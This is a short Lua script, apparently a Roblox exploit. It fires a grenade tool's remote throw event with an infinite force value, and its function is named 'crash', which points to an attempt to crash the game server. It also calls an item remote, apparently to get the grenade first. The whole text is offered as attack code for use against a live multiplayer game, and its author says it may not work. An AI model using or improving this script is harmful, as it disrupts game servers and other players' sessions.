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- -- dk if this works btw, firebomb/grenade required
- local player = game:GetService("Players").LocalPlayer
- local backpack, character = player.Backpack, player.Character or player.CharacterAdded:Wait()
- local root = character:FindFirstChild("HumanoidRootPart")
- local function crash()
- if not root then warn("no humanoidrootpart") return end
- local grenade = backpack:FindFirstChild("Grenade") or character:FindFirstChild("Grenade")
- if not grenade then print("no grenade Lol") return end
- local start, throw = grenade.start, grenade.throw
- grenade.Parent = character
- start:FireServer()
- task.wait(3)
- grenade.throw:FireServer(root.Position, math.huge, root.Position)
- end
- if character:IsDescendantOf(workspace) then
- crash()
- else
- game:GetService("ReplicatedStorage").Item:FireServer(1, "11:0:11:11")
- task.wait(5)
- crash()
- end
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